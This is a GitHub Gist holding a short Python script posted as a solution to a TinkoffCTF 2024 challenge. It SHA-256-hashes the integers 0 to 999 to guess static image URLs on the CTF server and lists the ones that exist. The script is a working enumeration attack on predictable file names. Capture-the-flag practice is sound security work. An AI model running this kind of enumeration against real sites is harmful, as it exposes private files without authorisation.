Created
April 20, 2024 12:29
-
-
Save kezzyhko/89e71f97cd188efdc167a29177fa5861 to your computer and use it in GitHub Desktop.
Solution to TinkoffCTF 2024 task https://ctf.tinkoff.ru/tasks/memotavr
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
import requests | |
START_NUM = 0 | |
def get_link(num): | |
str_to_hash = bytes(str(num), 'ascii') | |
m = hashlib.sha256() | |
m.update(str_to_hash) | |
hash_result = m.digest().hex() | |
return f"https://t-memotavr-frkhds1x.spbctf.net/static/{hash_result}.jpg" | |
def get_status(link): | |
status = None | |
while (status != 200) and (status != 404): | |
r = requests.get(link) | |
status = r.status_code | |
return status | |
for num in range(START_NUM, START_NUM+1000): | |
link = get_link(num) | |
status = get_status(link) | |
if num % 100 == 0: | |
print(num) | |
if status != 404: | |
print(f"{status} | {num} | {link}") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment